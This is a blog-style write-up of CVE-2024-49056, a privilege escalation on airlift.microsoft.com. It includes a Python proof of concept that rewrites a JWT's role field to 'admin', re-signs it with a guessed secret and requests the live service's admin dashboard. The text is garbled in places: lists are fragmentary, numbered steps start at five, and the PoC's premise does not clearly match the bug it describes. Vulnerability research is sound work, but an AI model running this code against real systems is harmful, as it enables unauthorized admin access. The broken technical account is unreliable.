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Introduction

In June 2024, a serious security vulnerability dubbed CVE-2024-49056 was discovered on airlift.microsoft.com. At its core, an issue with "assumed-immutable data" in the authentication flow means that attackers already in possession of valid (but low-privilege) credentials can trick the system into granting them admin-like powers — all while operating over the network.

Let’s break down what this means, how it works, what you can do, and — crucial for researchers and defenders — see actual exploit code showing the bug in action.

What Is the Vulnerability?

Airlift.microsoft.com uses objects (typically JSON Web Tokens, or JWTs) to maintain user session data after the first login. One key object includes pieces like:

some timestamps

The system assumed some of these fields, especially role, would always be “immutable” — or, simply, that users couldn’t change them after login. But it turns out: with enough access, someone with a low-level account can intercept and *alter* this data as it travels over the network, then push it back to the system. There is no strong check that the information actually belongs to the user or is unmodified.

**Attacker re-sends this token with their requests.

5. **Airlift.microsoft.com, not re-checking this field against the server-side database, honors the change — giving the attacker admin rights.

Code Sample: The Attack in Python

Here’s a proof-of-concept (PoC) exploit using Python and the popular pyjwt and requests libraries. This is for educational/defensive purposes only.

import jwt
import requests

# This is your normal user JWT, from your browser's local storage or cookies
original_jwt = "<your_jwt_here>"
jwt_secret = "<guessed_or_leaked_secret>"  # Sometimes public or poorly protected

# Decode the JWT WITHOUT verifying signature (demo purposes)
decoded = jwt.decode(original_jwt, options={"verify_signature": False})
print("Original token:\n", decoded)

# Escalate privilege
decoded['role'] = 'admin'

# Re-sign the token
hacked_jwt = jwt.encode(decoded, jwt_secret, algorithm="HS256")

# Use the token for an admin-only request
headers = {"Authorization": f"Bearer {hacked_jwt}"}
response = requests.get("https://airlift.microsoft.com/admin/dashboard";, headers=headers)
print(response.status_code)
print(response.text)

Note: In some real-world cases, the server fails to validate the signature at all or uses a predictable key (e.g., “secret”). This makes the attack much easier.

Signs You’re Vulnerable

- User roles/tokens are only checked on the client, not validated server-side on every request

Real-World Implications

- Attackers with basic user accounts can do anything an admin can (edit, delete, add new users, change configs, etc.)

Official Advisories &Write-ups

- NVD Entry: CVE-2024-49056
- Microsoft Security Response Center - CVE-2024-49056
- General JWT Weakness: https://auth.com/blog/a-look-at-the-latest-jwt-vulnerabilities/

Conclusion

CVE-2024-49056 is a reminder: never trust data from the client, especially if you *think* it’s “immutable”. Always re-check user roles and permissions on your server. If you manage or secure apps using airlift.microsoft.com, patch and review immediately — this bug can turn any ordinary user into a network-wide admin with a few simple edits.

*Stay safe, and always validate at the source!*

Did you enjoy this write-up? Share it with your blue team and dev colleagues before attackers find you.

Timeline

Published on: 11/12/2024 18:15:46 UTC
Last modified on: 11/27/2024 18:04:40 UTC